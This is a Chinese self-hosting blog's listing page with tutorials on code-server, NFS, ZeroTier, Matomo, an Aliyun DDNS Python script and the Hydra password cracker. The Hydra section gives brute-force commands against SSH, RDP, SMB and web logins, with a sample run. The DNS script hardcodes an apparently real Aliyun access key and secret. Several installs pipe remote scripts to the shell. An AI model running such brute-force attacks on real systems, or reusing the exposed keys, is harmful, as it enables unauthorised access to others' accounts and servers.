首页
壁纸
留言板
友链
更多
统计归档
Search
1
TensorBoard:训练日志及网络结构可视化工具
12,507 阅读
2
主板开机跳线接线图【F_PANEL接线图】
5,423 阅读
3
Linux使用V2Ray 原生客户端
4,476 阅读
4
NVIDIA 显卡限制功率
2,548 阅读
5
帧差法+三帧差法原理与实现
2,301 阅读
好物分享
实用教程
linux使用
wincmd
学习笔记
mysql
java学习
nginx
综合面试题
大数据
网络知识
放码过来
python
javascript
java
opencv
蓝桥杯
leetcode
深度学习
开源模型
相关知识
数据集和工具
模型轻量化
语音识别
计算机视觉
杂七杂八
硬件科普
主机安全
嵌入式设备
其它
bug处理
登录
/
注册
Search
标签搜索
好物分享
学习笔记
linux
MySQL
nvidia
typero
内网穿透
webdav
vps
java
cudann
gcc
cuda
树莓派
CNN
图像去雾
ssh安全
nps
暗通道先验
阿里云
jupiter
累计撰写
337
篇文章
累计收到
65
条评论
首页
栏目
好物分享
实用教程
linux使用
wincmd
学习笔记
mysql
java学习
nginx
综合面试题
大数据
网络知识
放码过来
python
javascript
java
opencv
蓝桥杯
leetcode
深度学习
开源模型
相关知识
数据集和工具
模型轻量化
语音识别
计算机视觉
杂七杂八
硬件科普
主机安全
嵌入式设备
其它
bug处理
页面
壁纸
留言板
友链
统计归档
搜索到
57
篇与
的结果
2021-12-23
Code-server:一款基于VScode的在线编辑器
1.介绍code-server是一款基于VScode的在线编辑器,主要用于在Linux服务器环境下,实现任何设备通过浏览器即可访问VScode, 进而实现在远程编程.GIthub官方文档:https://github.com/cdr/code-server2.安装使用一键脚本安装curl -fsSL https://code-server.dev/install.sh | sh修改配置文件vim ~/.config/code-server/config.yaml# 对以下内容自行进行修改 bind-addr: 0.0.0.0:8080 auth: password password: jupiter cert: false使用screen后台运行screen -S code-server code-server打开IP:8080输入密码测试参考资料https://github.com/coder/code-server
2021年12月23日
1,111 阅读
1 评论
0 点赞
2021-12-23
SSHFS:通过ssh实现挂载远程目录到本地
1.简介SSHFS(SSH Filesystem)是一个基于FUSE的文件系统客户端,用于通过SSH连接远程目录。SSHFS使用的是SFTP协议,它是SSH的一个子系统,在大多数SSH服务器上默认启用与其他网络文件系统(如NFS和Samba)相比,SSHFS的优势在于它不需要在服务器端进行任何额外的配置。要使用SSHFS,您只需要SSH访问远程服务器。2.安装ubuntusudo apt install sshfscenteOSsudo yum -y install sshfs3.使用3.1 命令格式挂载sshfs [user@]host:[dir] mountpoint [options] # 常用option -p PORT #指定端口取消挂载umount mountpoint3.2 示例sshfs root@192.168.0.105:/Shares /mnt # 挂载 umount /mnt # 取消挂载如果需要开机自动挂载,可以在/etc/fstab文件中添加挂载项(前提是需要设置无密码登录,不然开机不能挂载):echo 'root@192.168.0.105:/Shares /mnt fuse.sshfs defaults 0 0'>> /etc/fstab参考资料使用SSHFS文件系统远程挂载目录Ubuntu下使用sshfs挂载远程目录到本地
2021年12月23日
773 阅读
0 评论
0 点赞
2021-12-22
Next Terminal:在浏览器中管理你的服务器
1.介绍Next Terminal是使用Golang和React开发的一款HTML5的远程桌面网关,具有小巧、易安装、易使用、资源占用小的特点,支持RDP、SSH、VNC和Telnet协议的连接和管理。Next Terminal基于 Apache Guacamoleopen in new window 开发,使用到了guacd服务。目前支持的功能有:授权凭证管理资产管理(支持RDP、SSH、VNC、TELNET协议)指令管理批量执行命令在线会话管理(监控、强制断开)离线会话管理(查看录屏)双因素认证资产标签资产授权多用户&用户分组计划任务2.docker安装#docker安装Next Terminal docker run -d \ -p 8088:8088 \ --name next-terminal \ --restart always dushixiang/next-terminal:latest安装完毕后访问IP:8088,用户名为admin,密码为admin,登录后可在后台进行修改。参考资料使用Next Terminal在浏览器中管理你的服务器https://next-terminal.typesafe.cn/
2021年12月22日
929 阅读
0 评论
0 点赞
2021-12-22
h5ai:一款功能强大 php 文件目录列表程序
1.介绍h5ai是一款功能强大 php 文件目录列表程序,不需要数据库,支持在线预览文本、图片、音频、视频等。h5ai功能包括:文件排序,不同视图模式,本地化,面包屑,树视图,自定义页眉和页脚,文件过滤器和搜索,文件夹大小,自动刷新,打包下载,QR码,缩略图,文件预览。官网:https://larsjung.de/h5ai/github:https://github.com/lrsjng/h5ai2.宝塔安装2.1 php扩展安装与函数解禁在安装之前,我们需要在php中安装ImageMagick、fileinfo、exif扩展和解禁putenv函数。2.2 创建网站2.3 源码下载从官网或者github下载程序包,解压然后将_h5ai 上传到网站根目录: h5ai.inat.top/_h5ai.额,宝塔面板用户,直接就可以远程下载了。打开 http://h5ai.inat.top/_h5ai/public/index.php, 检查一下h5ai 是否可以访问. 同时,如果你的服务器有不兼容的话这里会显示。不过打开的时候,会要求你设置一个密码,当然留空也可以直接访问,登录之后,会有web环境检查的结果,如图:2.4 修改默认首页添加 /_h5ai/public/index.php 到默认的首页列表中添加好之后,我们就可以打开浏览器访问了,界面如下:3.给h5ai开启二维码、搜索、选择功能以下均在配置文件/www.xx.com/_h5ai/private/conf/options.json修改3.1 开启选择功能"select": { "enabled": false, "clickndrag": true, "checkboxes": true },将false修改为true,即:"select": { "enabled": true, "clickndrag": true, "checkboxes": true },该功能可方便我们进行批量下载。3.2开启搜索功能"search": { "enabled": false, "advanced": true, "debounceTime": 300, "ignorecase": true },将false修改为true,即:"search": { "enabled": true, "advanced": true, "debounceTime": 300, "ignorecase": true },开启后我们可以更快的找到文件了。3.3 开启二维码功能"info": { "enabled": false, "show": false, "qrcode": true, "qrFill": "#999", "qrBack": "#fff" },将false修改为true,即:"info": { "enabled": true, "show": true, "qrcode": true, "qrFill": "#999", "qrBack": "#fff" },开启二维码后,我们可以直接手机扫描二维码下载,很方便。参考资料h5ai-轻便又美观目录列表程序支持在线预览文本、图片、音频、视频等给h5ai开启二维码、搜索、选择功能
2021年12月22日
758 阅读
0 评论
0 点赞
2021-12-22
instantbox :几秒内启动一个干净的 Linux 系统
1.介绍instantbox一款非常实用的项目,它能够让你在几秒内启动一个主流的 Linux 系统,随起随用,支持 Ubuntu, CentOS, Arch Linux, Debian, Fedora 和 Alpine,通过 WebShell 访问,简单快捷,适合于演示、测试、体验等场合。喜欢尝试新玩意的青小蛙常常需要一台新的 Linux 系统进行测试,一则不能不影响现有系统,弄坏无压力,二则为了避免原环境对测试的影响。虽然有虚拟机、VPS,但新的 Linux系统还是需要一段时间才能创建完成,尤其如果 VPS 的话,你可能还需要支付几个小时的使用费用,而碰到 IP 不可用那种问题,纯属浪费时间。instantbox 提供了一个非常便捷的解决方案,它能够帮你在几秒钟内就启动一个干净的 Linux 发行版本,并且拥有多个版本,包括:Ubuntu:14.04、16.04、18.04、20.04 版本CentOS:6.10、7、8 版本Arch Linux:最新Debian:jessie、stretch、busterFedora:30、31Alpine:最新可以将 instantbox 理解为虚拟机中的临时虚拟机。2.如何安装 instantboxinstantbox 推荐使用 Docker 部署,直接使用官方提供的脚本即可:mkdir instantbox && cd $_ bash <(curl -sSL https://raw.githubusercontent.com/instantbox/instantbox/master/init.sh)或者下载 docker-compose.yml 文件,直接 docker-compose up -d 即可。3.如何使用 instantbox记得修改里面的端口,默认 8888。然后用浏览器打开 IP:8888,选择系统:选择配置,可选 CPU 核心数、内存、有效期然后,就会启动一个 WebShell 了,请尽情折腾,反正一天后就没了…注意由于其系统十分纯净,很多基础工具也可能需要安装才能使用,以 Ubuntu 为例,比如你要使用 ping,要先安装 apt install iputils-ping 才行。最后,关于权限,任何人知道你的 IP:端口 就能访问并使用,虽然不会对母机造成伤害,但可能会导致资源滥用,请注意保护。参考资料instantbox – 几秒内启动一个干净的 Linux 系统
2021年12月22日
688 阅读
0 评论
0 点赞
2021-12-21
nfs:Linux下挂载远程硬盘工具
本问以ubuntu为例,其他类似1.介绍NFS是Network File System的缩写,即网络文件系统。一种使用于分散式文件协定,功能是通过网络让不同的机器、不同的操作系统能够分享个人数据,让应用程序通过网络可以访问位于服务器磁盘中的数据。NFS在文件传送或信息传送的过过程中,依赖于RPC协议。RPC,远程过程调用(Remote Procedure Call),是使客户端能够执行其他系统中程序的一种机制。NFS本身是没有提供信息传输的协议和功能的,但NFS却能让我们通过网络进行资料的分享,就是因为NFS使用了RPC提供的传输协议,可以说NFS就是使用PRC的一个程序。NFS 存储 服务器主要用于用户上传的数据 ,图片 音频 、等信息 NFS服务端、RPC协议、客户端三者可以理解为房源、中介、租客之间的关系:2.应用场景现有两台Linux Server,需要把Linux01 下的硬盘/文件夹挂在到 Linux02 下;3.配置步骤-服务器端3.1 安装nfs-serversudo apt install nfs-server3.2 修改/etc/exports发布可供硬盘/文件夹sudo vim /etc/exports 然后输入: /datadrive02 *(insecure,rw,sync,no_root_squash,no_subtree_check) # /datadrive02 为需要挂载出去的硬盘 /datadrive02 :共享的目录 * :指定哪些用户可以访问 * 所有可以ping同该主机的用户 192.168.1.* 指定网段,在该网段中的用户可以挂载 192.168.1.12 只有该用户能挂载 (ro,sync,no_root_squash): 权限 ro : 只读 rw : 读写 sync : 同步 no_root_squash: 不降低root用户的权限3.3 重启 nfs-serversudo service nfs-server restart3.4 验证发布showmount -e + 主机IP(base) jupiter@dell:~$ showmount -e 127.0.0.1 Export list for 127.0.0.1: /data/project/音频剪辑/audio *4.挂载步骤-客户端4.1 安装 nfs-commonsudo apt install nfs-common4.2 挂载# sudo mount -t nfs 远程硬盘 挂载到本地后的名字(路径) sudo mount -t nfs 10.1.9.24:/data/project/音频剪辑/audio /audio4.3 验证(base) v100@v100:~$ df -h 文件系统 容量 已用 可用 已用% 挂载点 udev 16G 0 16G 0% /dev tmpfs 3.2G 124M 3.1G 4% /run /dev/sdb3 909G 166G 698G 20% / tmpfs 16G 59M 16G 1% /dev/shm tmpfs 5.0M 4.0K 5.0M 1% /run/lock tmpfs 16G 0 16G 0% /sys/fs/cgroup /dev/sdb1 975M 3.7M 971M 1% /boot/efi tmpfs 3.2G 28K 3.2G 1% /run/user/108 tmpfs 3.2G 96K 3.2G 1% /run/user/1000 /dev/sda1 3.7T 568G 3.1T 16% /data /dev/sdd2 3.7T 3.1T 630G 84% /4t /dev/sds1 466G 365G 102G 79% /drive /dev/sdu4 115G 39G 76G 34% /drive2 10.1.9.24:/data/project/音频剪辑/audio 458G 263G 172G 61% /audio参考资料Linux(Ubuntu)通过nfs挂载远程硬盘Ubuntu配置NFS的方法Linux下部署NFS服务 (* ̄︶ ̄)
2021年12月21日
870 阅读
0 评论
0 点赞
2021-12-21
Matomo:–免费开源的网站流量统计系统
1.简介Matomo(前身为Piwik)是一款很受欢迎的Google Analytics的开源替代工具。与Google Analytics不同,Matom是在你自己的服务器上托管的,你可以拥有你所有的数据。2.配置步骤2.1下载下载地址:https://builds.matomo.org/matomo.zip官网:https://matomo.org/安装文档:https://matomo.org/docs/installation/2.2 安装(宝塔环境,原生环境需要自行配置)解压然后在宝塔的控制台添加网站配置域名并将解压后的目录设置为网站根目录。然后我们用访问域名开始安装,不过首先可以把默认语言改成中文:下一步,web 环境检查,一般遇到的问题是 shell_exec 函数禁用,我们需要启用这个函数。在 php 管设置→禁用函数→删除 shell_exec 函数禁用:这时候重新检测 web 环境,我们看到已经全部通过。如图:接着下一步,需要填写数据库信息等等大家根据自己的数据库信息来填写吧:填写好之后,下一步,我们看到成功填写的信息,如图:继续下一步,这里需要设置管理员了,如图:下一步,需要设置需要被统计的网站,如图:接着下一步,设置被统计网站,如图:接着下一步,就设置完成了所有的需要设置的东东。三:基本设置我们登入到已安装好的 matomo 后台,后台和 wordpress 很像,已经极尽完善了,默认内置了 46 种插件,基本不需要安装什么插件了就可以使用了:如果我们需要安装插件,比如说安装 ip 地址位置插件,我们这样在插件管理中安装新插件:插件商城插件种类丰富,因为内置的是 GeoIP 如果你需要更换一个可以安装 IP2,如图:我们点击安装即可。当然你也可以直接在功能面板的左侧找到商城然后点击之后进去安装即可。参考资料Matomo前端埋点 matomo 详细安装配置 (一)Matomo – 免费开源的网站流量统计系统
2021年12月21日
776 阅读
0 评论
0 点赞
2021-12-20
ZeroTier:快速实现虚拟局域网VLAN/内网穿透
1.简介zerotier是一个软交换机,使用zerotier可以让多台内网机器组成一个局域网。官网: https://my.zerotier.comZeroTier 支持 Windows、macOS、Linux 三大主流平台,iOS、Android 两大移动平台,以及 QNAP(威连通)、Synology(群晖)、Western Digital MyCloud NAS(西部数据)三个 NAS 平台,还支持 LEDE 开源路由器项目。2.使用步骤2.1 注册 ZeroTier注册地址:https://my.zerotier.com/2.2创建私有局域网,获得 Network ID,然后修改Access Control进入https://my.zerotier.com/network点击Create创建网络点击进入已创建的网络,修改Access Control,默认是Certificate (Private Network),选择此模式表示每次在添加新的主机时,需要手动勾选是否允许连接,如果选择None (Public Network)模式,表示加入网络后自动分配IP并允许连接,从安全性来说建议使用默认选项Certificate (Private Network),方便性来看None (Public Network)更方便,不用每次加入网络后手动勾选。2.3客户端安装方式Linuxcurl -s https://install.zerotier.com | sudo bash如果要让他开机自启动,运行:sudo systemctl start zerotier-one.service sudo systemctl enable zerotier-one.serviceWindows或者macOS、Android、iOS等那么可以在 https://www.zerotier.com/download/ 下载zerotierr然后安装2.4连接,加入 Network IDsudo zerotier-cli join 83048a0632246d2c #填写自己的 Network ID2.5 验证ip a这个时候执行一下 ip a 你会发现多了一个叫做 ztuzethlza 或者类似名字的设备,还有IP地址,这就是zerotier组建的局域网的IP 地址zt3jnq5mka: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 2800 qdisc fq_codel state UNKNOWN group default qlen 1000 link/ether f6:4e:f8:49:0d:52 brd ff:ff:ff:ff:ff:ff inet 172.30.204.211/16 brd 172.30.255.255 scope global zt3jnq5mka valid_lft forever preferred_lft forever inet6 fe80::8e0:6ff:fe0e:1737/64 scope link valid_lft forever preferred_lft forever参考资料ZeroTier – 无配置,零基础「内网穿透」随时随地连回家/学校/办公室 -跨平台https://www.zerotier.com/download/zerotier简明教程无公网IP通过ZeroTier方便实现内网穿透(详细)
2021年12月20日
1,097 阅读
0 评论
0 点赞
2021-12-08
Firefox Send:临时文件分享系统快速搭建
1.介绍Firefox Send是Firefox推出的一個全新的临时文件分享系统2. 使用Docker快速完成搭建2.1 安装Docker自行百度完成2.2 拉取镜像docker run --name send -d -p 1443:1443 moerats/send然后使用ip:1443访问即可,如果你想用其它端口,就更改前面的1443参数,比如8888:1443。3.修改文件上传大小上限找到目标容器ID# 找到目标容器ID docker psCONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 930ef8b92222 moerats/send "/start.sh" 12 minutes ago Up 12 minutes 0.0.0.0:1443->1443/tcp send ···进入容器# 进入容器 docker attach 930ef8b92222修改/send/server/config.js的内容apt install vim··· anon_max_file_size: { format: Number, default: 1024 * 1024 * 1024 * 5, # 修改文件大小上限这里 env: 'ANON_MAX_FILE_SIZE' }, ···重启容器参考资料使用Firefox Send搭建一个临时文件分享系统
2021年12月08日
1,711 阅读
0 评论
0 点赞
2021-12-08
AliyunDNSHelper:阿里云dns解析助手-python实现
1.准备工作首先得有一个阿里云的域名https://www.aliyun.com/minisite/goods安装阿里云SDK和其他第三方库pip install aliyun-python-sdk-core-v3 pip install aliyun-python-sdk-domain pip install aliyun-python-sdk-alidns pip install requests获取accessKeyId和accessSecret可以在阿里云控制台个人中心直接获取,但是一般建议使用RAM角色来进行权限控制,这样这个accessKey和accessSecret就只能操作域名,不能操作其他的资源,相对会比较安全。关于RAM快速入门:https://help.aliyun.com/document_detail/28637.html2.代码实现2.1 ali-dns-helper.py`from aliyunsdkcore.client import AcsClient from aliyunsdkcore.acs_exception.exceptions import ClientException from aliyunsdkcore.acs_exception.exceptions import ServerException from aliyunsdkalidns.request.v20150109.DescribeSubDomainRecordsRequest import DescribeSubDomainRecordsRequest from aliyunsdkalidns.request.v20150109.DescribeDomainRecordsRequest import DescribeDomainRecordsRequest import requests from urllib.request import urlopen import json class AliyunDNSHelper: def __init__(self,accessKeyId = "LTAI4GHqgJgbzPfNnkwyGqks",accessSecret = "CzXkUS8BWcjJ7qEbKrqg6qxUOdnW6M",domain = "4v7p.top"): """ 阿里云DNS助手初始化 需要传入自己的accessKeyId、accessSecret、domain """ self.client = AcsClient(accessKeyId, accessSecret, 'cn-hangzhou') self.domain = domain def update(self,RecordId, RR, Type, Value): """ 修改域名解析记录方法 参数列表: + RecordId:调用查询方法时候查到对应的记录会返回 + RR:记录名即子域名 + Type:记录类型包括CNAME、A、AAAA等 + Value:记录值 """ from aliyunsdkalidns.request.v20150109.UpdateDomainRecordRequest import UpdateDomainRecordRequest request = UpdateDomainRecordRequest() request.set_accept_format('json') request.set_RecordId(RecordId) request.set_RR(RR) request.set_Type(Type) request.set_Value(Value) response = self.client.do_action_with_exception(request) def add(self,DomainName, RR, Type, Value): """ 添加新的域名解析记录方法 参数列表: + DomainName:待修改的主域名 + RR:记录名即子域名 + Type:记录类型包括CNAME、A、AAAA等 + Value:记录值 """ from aliyunsdkalidns.request.v20150109.AddDomainRecordRequest import AddDomainRecordRequest request = AddDomainRecordRequest() request.set_accept_format('json') request.set_DomainName(DomainName) request.set_RR(RR) # https://blog.zeruns.tech request.set_Type(Type) request.set_Value(Value) response = self.client.do_action_with_exception(request) def select(self,subDomian): """ 查询子域域名解析记录 参数列表: + subDomian:子域名 """ request = DescribeSubDomainRecordsRequest() request.set_accept_format('json') request.set_DomainName(self.domain) request.set_SubDomain(subDomian + '.' + self.domain) response = self.client.do_action_with_exception(request) # 获取域名解析记录列表 domain_list = json.loads(response) # 将返回的JSON数据转化为Python能识别的 if domain_list["TotalCount"]==0: return None return domain_list["DomainRecords"]["Record"][0] def action(self,subDomian,Value,Type="A"): """ 执行用户关于DNS操作的的行为 参数列表: + action_type操作类型,包括add,update + subDomian:记录名即子域名 + Type:记录类型包括CNAME、A、AAAA等 + Value:记录值 """ print("待处理的记录为 %s:%s-->Domain:%s" % (Type,Value,subDomian + '.' + self.domain)) subDomian_record = self.select(subDomian) if subDomian_record: RecordId,RecordValue = subDomian_record["RecordId"],subDomian_record["Value"] if Value==RecordValue: print("该域名解析记录已存在,跳过") else: self.update(RecordId, subDomian, Type, Value) print("修改域名解析成功") else: self.add(self.domain, subDomian, Type, Value) print("新建域名解析成功") dnsHelper = AliyunDNSHelper(accessKeyId = "LTAI4GHqgJgbzPfNnkwyGqks",accessSecret = "CzXkUS8BWcjJ7qEbKrqg6qxUOdnW6M",domain = "4v7p.top") sub_domain = input("SubDomian:") value = input("value:") sub_domain_type = input("Type:") dnsHelper.action(sub_domain,value,sub_domain_type)2.2 ali-ddns-ipv6.py:实现ipv6 DDNS功能(ipv4同理)2.2.1 获取本机公网ipv6地址方法1:通过http接口获取(推荐)def getIPv6Address(): text = requests.get('https://v6.ident.me').text return text getIPv6Address()'2001:da8:a012:2da:2f0:d2ff:fed0:d0d2'方法2:python执行shell命令--其中的shell命令需要根据实际情况进行修改def get_local_ipv6(): """ 获取本机ipv6地址,其中的shell命令需要根据实际情况进行修改 """ import os; cmd_get_ipv6 = "ifconfig enp1s0 | awk '{if(NR==3){print $3}}'" # 获取本机ipv6的shell命令,需要根据实际情况进行修改 ipv6 = os.popen(cmd_get_ipv6).readlines()[0] if "/" in ipv6: ipv6 = ipv6.split("/")[0] return ipv6 get_local_ipv6()'2001:da8:a012:2da:2f0:d2ff:fed0:d0d2'2.2.2 配合time.sleep完成DDNS功能from aliyunsdkcore.client import AcsClient from aliyunsdkcore.acs_exception.exceptions import ClientException from aliyunsdkcore.acs_exception.exceptions import ServerException from aliyunsdkalidns.request.v20150109.DescribeSubDomainRecordsRequest import DescribeSubDomainRecordsRequest from aliyunsdkalidns.request.v20150109.DescribeDomainRecordsRequest import DescribeDomainRecordsRequest import requests from urllib.request import urlopen import json import time class AliyunDNSHelper: def __init__(self,accessKeyId = "LTAI4GHqgJgbzPfNnkwyGqks",accessSecret = "CzXkUS8BWcjJ7qEbKrqg6qxUOdnW6M",domain = "4v7p.top"): """ 阿里云DNS助手初始化 需要传入自己的accessKeyId、accessSecret、domain """ self.client = AcsClient(accessKeyId, accessSecret, 'cn-hangzhou') self.domain = domain def update(self,RecordId, RR, Type, Value): """ 修改域名解析记录方法 参数列表: + RecordId:调用查询方法时候查到对应的记录会返回 + RR:记录名即子域名 + Type:记录类型包括CNAME、A、AAAA等 + Value:记录值 """ from aliyunsdkalidns.request.v20150109.UpdateDomainRecordRequest import UpdateDomainRecordRequest request = UpdateDomainRecordRequest() request.set_accept_format('json') request.set_RecordId(RecordId) request.set_RR(RR) request.set_Type(Type) request.set_Value(Value) response = self.client.do_action_with_exception(request) def add(self,DomainName, RR, Type, Value): """ 添加新的域名解析记录方法 参数列表: + DomainName:待修改的主域名 + RR:记录名即子域名 + Type:记录类型包括CNAME、A、AAAA等 + Value:记录值 """ from aliyunsdkalidns.request.v20150109.AddDomainRecordRequest import AddDomainRecordRequest request = AddDomainRecordRequest() request.set_accept_format('json') request.set_DomainName(DomainName) request.set_RR(RR) # https://blog.zeruns.tech request.set_Type(Type) request.set_Value(Value) response = self.client.do_action_with_exception(request) def select(self,subDomian): """ 查询子域域名解析记录 参数列表: + subDomian:子域名 """ request = DescribeSubDomainRecordsRequest() request.set_accept_format('json') request.set_DomainName(self.domain) request.set_SubDomain(subDomian + '.' + self.domain) response = self.client.do_action_with_exception(request) # 获取域名解析记录列表 domain_list = json.loads(response) # 将返回的JSON数据转化为Python能识别的 if domain_list["TotalCount"]==0: return None return domain_list["DomainRecords"]["Record"][0] def action(self,subDomian,Value,Type="A"): """ 执行用户关于DNS操作的的行为 参数列表: + action_type操作类型,包括add,update + subDomian:记录名即子域名 + Type:记录类型包括CNAME、A、AAAA等 + Value:记录值 """ print("待处理的记录为 %s:%s-->Domain:%s" % (Type,Value,subDomian + '.' + self.domain)) subDomian_record = self.select(subDomian) if subDomian_record: RecordId,RecordValue = subDomian_record["RecordId"],subDomian_record["Value"] if Value==RecordValue: print("该域名解析记录已存在,跳过") else: self.update(RecordId, subDomian, Type, Value) print("修改域名解析成功") else: self.add(self.domain, subDomian, Type, Value) print("新建域名解析成功") def getIPv6Address(): text = requests.get('https://v6.ident.me').text # 接口失效后需要及时进行修改 return text dnsHelper = AliyunDNSHelper(accessKeyId = "LTAI4GHqgJgbzPfNnkwyGqks",accessSecret = "CzXkUS8BWcjJ7qEbKrqg6qxUOdnW6M",domain = "4v7p.top") sub_domain = "d2550-ipv6" sub_domain_type = "AAAA" while True: print("当前时间:",time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())) value = getIPv6Address() dnsHelper.action(sub_domain,value,sub_domain_type) time.sleep(2*3600) # 每隔2个小时执行1次然后配合screen命令或者去掉无限循环使用定时任务进行执行即可完成ipv6的DDNS的功能参考资料Python实现阿里云域名DDNS支持ipv4和ipv6python 3.7.3 shell_python3执行shell命令的几种方式Python 获取本机公网IPv6地址Python 日期和时间
2021年12月08日
723 阅读
0 评论
0 点赞
2021-12-08
Hydra:Linux下暴力破解工具--ssh/ftp等暴力破解
1.简介hydra是著名黑客组织thc的一款开源的暴力密码破解工具,可以在线破解多种密码。官网:http://www.thc.org/thc-hydra可支持破解密码类型:AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-PROXY, HTTPS-FORM-GET, HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MYSQL, NCP, NNTP, Oracle Listener, Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES, RDP, Rexec, Rlogin, Rsh, SAP/R3, SIP, SMB, SMTP, SMTP Enum, SNMP, SOCKS5, SSH (v1 and v2), Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP等。2.安装1.下载 https://www.thc.org/releases/hydra-8.3.tar.gz2.安装依赖包 如果是Debian和Ubuntu发行版,yum源里自带hydra,我们直接用apt-get在线安装。sudo apt-get -y install libssl-dev libssh-dev libidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev hydra gcc 对于Redhat/Centos/Fedora发行版,我们需要下载源码包,然后编译安装,因此先安装相关依赖包sudo yum -y install openssl-devel pcre-devel ncpfs-devel postgresql-devel libssh-devel subversion-devel gcc3.编译安装hydratar zxvf hydra-8.3.tar.gz cd hydra-8.3 ./configure --prefix=/path/to/hydra make && make install3.使用3.1 参数介绍hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV] server service [OPT] -R 继续从上一次进度接着破解。 -S 采用SSL链接。 -s PORT 可通过这个参数指定非默认端口。 -l LOGIN 指定破解的用户,对特定用户破解。 -L FILE 指定用户名字典。 -p PASS 小写,指定密码破解,少用,一般是采用密码字典。 -P FILE 大写,指定密码字典。 -e ns 可选选项,n:空密码试探,s:使用指定用户和密码试探。 -C FILE 使用冒号分割格式,例如“登录名:密码”来代替-L/-P参数。 -M FILE 指定目标列表文件一行一条。 -o FILE 指定结果输出文件。 -f 在使用-M参数以后,找到第一对登录名或者密码的时候中止破解。 -t TASKS 同时运行的线程数,默认为16。 -w TIME 设置最大超时的时间,单位秒,默认是30s。 -v / -V 显示详细过程。 server 目标ip service 指定服务名,支持的服务和协议:telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp等等。 OPT 可选项3.2 具体使用方法介绍破解ssh的密码# hydra -L users.txt -P password.txt -vV -o ssh.log -e ns IP ssh破解https:# hydra -m /index.php -l username -P pass.txt IP https破解teamspeak:# hydra -l 用户名 -P 密码字典 -s 端口号 -vV ip teamspeak破解cisco:# hydra -P pass.txt IP cisco # hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable破解smb:# hydra -l administrator -P pass.txt IP smb破解pop3:# hydra -l muts -P pass.txt my.pop3.mail pop3破解rdp:# hydra IP rdp -l administrator -P pass.txt -V破解http-proxy:# hydra -l admin -P pass.txt http-proxy://10.36.16.18破解telnet# hydra IP telnet -l 用户 -P 密码字典 -t 32 -s 23 -e ns -f -V破解ftp:# hydra IP ftp -l 用户名 -P 密码字典 -t 线程(默认16) -vV # hydra IP ftp -l 用户名 -P 密码字典 -e ns -vVget方式提交,破解web登录:# hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns IP http-get /admin/ # hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f IP http-get /admin/index.phppost方式提交,破解web登录:# hydra -l 用户名 -P 密码字典 -s 80 ip http-post-form "/admin/login.php:username=^USER^&password=^PASS^&submit=login:sorry password" # hydra -t 3 -l admin -P pass.txt -o out.txt -f 10.36.16.18 http-post-form "login.php:id=^USER^&passwd=^PASS^:wrong username or password" (参数说明:-t同时线程数3,-l用户名是admin,字典pass.txt,保存为out.txt,-f 当破解了一个密码就停止, 10.36.16.18目标ip,http-post-form表示破解是采用http的post方式提交的表单密码破解,<title>中的内容是表示错误猜解的返回信息提示。)破解imap:# hydra -L user.txt -p secret 10.36.16.18 imap PLAIN # hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN此工具强大之处远多于以上测试,其密码能否破解关键在于强大的字典,对于社工型渗透来说,有时能够得到事半功倍的效果4.实例4.1 实例1:ssh暴力破解主机# 需要事先准备好密码字典pass.txt hydra -l root -P pass.txt -vV -o ssh.log -e ns 10.1.9.249 ssh # 需要事先准备好用户名字典users.txt和密码字典pass.txt hydra -L users.txt -P pass.txt -vV -o ssh.log -e ns 10.1.9.249 ssh输出Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes. Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-12-08 00:01:49 [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4 [WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore [DATA] max 16 tasks per 1 server, overall 16 tasks, 34264 login tries (l:2/p:17132), ~2142 tries per task [DATA] attacking ssh://10.1.9.249:22/ [VERBOSE] Resolving addresses ... [VERBOSE] resolving done [INFO] Testing if password authentication is supported by ssh://root@10.1.9.249:22 [INFO] Successful, password authentication is supported by ssh://10.1.9.249:22 [ATTEMPT] target 10.1.9.249 - login "root" - pass "root" - 1 of 34264 [child 0] (0/0) [ATTEMPT] target 10.1.9.249 - login "root" - pass "" - 2 of 34264 [child 1] (0/0) ······ [ATTEMPT] target 10.1.9.249 - login "root" - pass "echina0228" - 8 of 34264 [child 7] (0/0) [ATTEMPT] target 10.1.9.249 - login "root" - pass "xiaxue123-$$" - 9 of 34264 [child 8] (0/0) ······参考资料hydra 使用介绍1400多万个弱口令密码字典下载Linux下暴力破解工具Hydra详解
2021年12月08日
606 阅读
0 评论
0 点赞
2021-12-07
Linux防爆破ssh脚本-通过修改/etc/hosts.deny实现
